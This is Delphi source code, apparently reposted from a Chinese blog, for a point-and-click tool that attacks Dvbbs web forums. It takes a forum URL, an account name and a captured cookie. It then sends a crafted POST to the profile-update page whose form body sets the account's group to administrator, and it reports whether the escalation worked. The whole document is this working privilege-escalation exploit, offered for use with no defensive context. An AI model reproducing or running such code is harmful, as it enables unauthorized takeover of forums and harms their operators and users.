作者：Kendy文章来源：Kendy’sBlog
unitUnit1;
interface
uses
Windows,Messages,SysUtils,Variants,Classes,Graphics,Controls,Forms,
Dialogs,ScktComp,StdCtrls,ComCtrls,WinSkinData,ShellApi;
type
TForm1=class(TForm)
Label1:TLabel;
Label2:TLabel;
Label3:TLabel;
Edit1:TEdit;
Edit2:TEdit;
Edit3:TEdit;
Button1:TButton;
ClientSocket1:TClientSocket;
GroupBox1:TGroupBox;
Memo1:TMemo;
Label4:TLabel;
StatusBar1:TStatusBar;
SkinData1:TSkinData;
procedureButton1Click(Sender:TObject);
procedureClientSocket1Connect(Sender:TObject;
Socket:TCustomWinSocket);
procedureClientSocket1Read(Sender:TObject;Socket:TCustomWinSocket);
procedureClientSocket1Error(Sender:TObject;Socket:TCustomWinSocket;
ErrorEvent:TErrorEvent;varErrorCode:Integer);
procedureFormClose(Sender:TObject;varAction:TCloseAction);
private
{Privatedeclarations}
public
{Publicdeclarations}
end;
var
Form1:TForm1;
Data:string;
implementation
{$R*.dfm}
procedureTForm1.Button1Click(Sender:TObject);
var
sUrl,sUsername,sPOST,sReferer,sHost,sCookie,S:string;
i:integer;
begin
ClientSocket1.Close;
ifedit1.Text=’’then
begin
StatusBar1.Panels[0].Text:=’请输入论坛地址！’;
exit;
end;
ifedit2.Text=’’then
begin
StatusBar1.Panels[0].Text:=’请输入你的论坛账号！’;
exit;
end;
ifedit3.Text=’’then
begin
StatusBar1.Panels[0].Text:=’请输入抓取的Cookie！’;
exit;
end;
memo1.Text:=’’;
StatusBar1.Panels[0].Text:=’’;
Label4.Caption:=’’;
sUrl:=edit1.Text;
ifPos(’http://’,sUrl)<>0then
sUrl:=StringReplace(sUrl,’http://’,’’,[rfIgnoreCase]);
sUsername:=edit2.Text;
sCookie:=edit3.Text;
//--------Host-------------
i:=Pos(’/’,sUrl);
ifi<>0then
sHost:=Copy(sUrl,0,i-1)
else
sHost:=sUrl;
//--------Referer-----------
sReferer:=’http://’+sUrl+’/mymodify.asp’;
//--------POST--------------
sPost:=StringReplace(sUrl,sHost,’’,[rfIgnoreCase]);
sPost:=sPost+’/mymodify.asp?action=updat&username=’+sUsername;
//--------数据包------------
S:=’sex=1&face=Images%2Fuserface%2Fimage1.gif&myface=images/userface/image1.gif|||32|||32|||2003-12-30%’;
S:=S+’2016:34:00|||2005-6-19%2018:04:06|||25|||0|||管理员|||1||||||120|||115|||28|||0||||||210.41.235.200|||’;
S:=S+’0|||0|||0||||||0||||||level10.gif||||||9pc722664t5w7IM7|||0|0|0||||||Dvbbs&width=100&height=100’;
S:=S+’&birthday=&userphoto=&GroupName=%CE%DE%C3%C5%CE%DE%C5%C9&Signature=&showRe=0&usercookies=1&setuserinfo’;
S:=S+’=1&setusertrue=0&realname=&personal=&country=&userphone=&address=&province=&selectp=0&city=&selectc=0’;
S:=S+’&shengxiao=&blood=&belief=&occupation=&marital=&education=&college=&Submit=%B8%FC+%D0’;
Data:=’POST’+sPost+’HTTP/1.1’+#13#10;
Data:=Data+’Accept:image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,application/vnd.ms-excel,application/msword,application/x-shockwave-flash,*/*’+#13#10;
Data:=Data+’Referer:’+sReferer+#13#10;
Data:=Data+’Accept-Language:zh-cn’+#13#10;
Data:=Data+’Content-Type:application/x-www-form-urlencoded’+#13#10;
Data:=Data+’Accept-Encoding:gzip,deflate’+#13#10;
Data:=Data+’User-Agent:Mozilla/4.0(compatible;MSIE6.0;WindowsNT5.1;Maxthon;TencentTraveler)’+#13#10;
Data:=Data+’Host:’+sHost+#13#10;
Data:=Data+’Content-Length:585’+#13#10;
Data:=Data+’Connection:Keep-Alive’+#13#10;
Data:=Data+’Cache-Control:no-cache’+#13#10;
Data:=Data+’Cookie:’+sCookie+#13#10+#13#10;
Data:=Data+S;
//--------开始发送数据包-------------
ClientSocket1.Host:=sHost;
ClientSocket1.Port:=80;
ClientSocket1.Open;
StatusBar1.Panels[0].Text:=’数据发送中...’;
end;
procedureTForm1.ClientSocket1Connect(Sender:TObject;
Socket:TCustomWinSocket);
begin
Socket.SendText(Data);
end;
procedureTForm1.ClientSocket1Read(Sender:TObject;
Socket:TCustomWinSocket);
begin
memo1.Text:=Socket.ReceiveText;
ifPos(’您的修改信息已成功提交’,memo1.Text)<>0then
begin
Label4.Caption:=’>>成功提升为前台管理员！’;
StatusBar1.Panels[0].Text:=’成功，请重新登陆论坛！’;
end
else
begin
Label4.Caption:=’>>Sorry，提权失败’;
StatusBar1.Panels[0].Text:=’失败，换个论坛试试。’;
end;
end;
procedureTForm1.ClientSocket1Error(Sender:TObject;
Socket:TCustomWinSocket;ErrorEvent:TErrorEvent;
varErrorCode:Integer);
begin
ErrorCode:=0;
StatusBar1.Panels[0].Text:=’Error.....’;
Exit;
end;
procedureTForm1.FormClose(Sender:TObject;varAction:TCloseAction);
begin
ShellExecute(Handle,’open’,’http://aliwy.77169.com’,nil,nil,SW_SHOW);
end;
end.